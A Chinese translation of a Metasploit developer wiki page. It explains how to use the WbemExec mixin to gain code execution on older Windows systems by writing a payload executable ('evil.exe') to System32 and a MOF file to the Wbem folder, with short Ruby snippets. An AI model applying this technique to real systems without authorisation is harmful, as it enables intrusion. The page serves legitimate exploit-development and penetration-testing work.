Windows管理规范(WMI)是Microsoft实施的基于Web的企业管理(WBEM),它使用管理对象格式(MOF)来创建通用信息模型(CIM)类。在Stuxnet诞生之前,安全社区实际上并不熟悉这种技术的恶毒,Stuxnet使用MOF文件来利用漏洞,允许攻击者通过假打印机后台处理程序服务创建文件。这个技术后来在Metasploit的ms10_061_spoolss.rb模块中进行了逆向和演示,这大大改变了我们处理写入权限攻击的方式。一般来说,如果你发现自己能够写入system32,你很可能会利用这种技术。
### 要求
要能够使用`WBemExec` mixin,您必须满足以下要求:
* `C:\Windows\System32\` 写入权限
* `C:\Windows\System32\Wbem\` 写入权限
* 目标不能比Windows Vista更新(所以对于XP,Win 2003或更早的版本来说,这些功能大多是好的)。这更多的是API的限制,而不是技术。较新的Windows操作系统需要首先预编译MOF文件。
### 用法
首先,在你的`Metasploit3`类范围内包含`WbemExec` mixin 。您还需要`EXE ` mixin生成一个可执行文件:
~~~
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
~~~
接下来,生成有效载荷名称和可执行文件:
~~~
payload_name = "evil.exe"
exe = generate_payload_exe
~~~
然后使用该generate_mof方法生成mof文件。第一个参数应该是mof文件的名称,第二个参数是有效负载名称:
~~~
mof_name = "evil.mof"
mof = generate_mof(mof_name, payload_name)
~~~
现在,您已经准备好将文件写入/上传到目标机器。始终确保您首先上传有效负载可执行文件到`C:\Windows\System32\`。
~~~
upload_file_to_system32(payload_name, exe) # Write your own upload method
~~~
然后现在你可以上传`mof`文件到`C:\Windows\System32\wbem\`:
~~~
upload_mof(mof_name, mof) # Write your own upload method
~~~
一旦mof文件被上传,Windows管理服务应该选择并执行它,这将最终在system32中执行你的有效载荷。另外,使用后,mof文件将自动移出mof目录。
### 参考
https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/wbemexec.rb
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms10_061_spoolss.rb
- Home
- 开始使用
- 安装metasploit开发环境
- 使用metasploit
- 使用git
- 报告一个bug
- 贡献代码
- 贡献给metasploit
- 创建一个loginscans Metasploit模块
- 接受模块和增强功能的指导
- 常见的Metasploit模块代码错误
- 样式提示
- metasploit提交者
- metasploit开发
- 为什么是ruby
- 样式提示
- 如何开始写一个exploit
- 如何开始写一个辅助模块
- 如何开始写一个post模块
- 如何开始写一个Meterpreter脚本
- 载入外部模块
- exploit rank
- Metasploit模块引用标识符
- 怎么在你的exploit中确认window补丁程序级别
- 如何使用filedropper清理文件
- 如何弃用metasploit模块
- 如何在模块开发中报告或储存数据
- 在metasploit如何使用日志
- 如何在metasploit对JavaScript进行混淆
- 如何解析一个http响应
- 如何使用HTTPClient发送HTTP请求
- 如何使用命令阶段
- 如何使用数据储存选项
- 如何在window后期开发中使用railgun
- 如何在exploit中使用powershell
- 如何使用PhpEXE来利用任意文件上传漏洞
- 如何使用FILEFORMAT mixin创建一个文件格式exploit
- 如何使用BrowserExploitServer编写一个浏览器exploit
- 如何使用HttpServer编写浏览器exploit
- 如何编写一个check()方法
- 如何使用Seh mixin来利用异常处理程序
- 如何在Windows上使用WbemExec进行写入权限攻击
- 如何使用httpserver和httpclient编写一个模块
- payloads如何工作
- 如何免杀
- 如何正确使用metasploit模块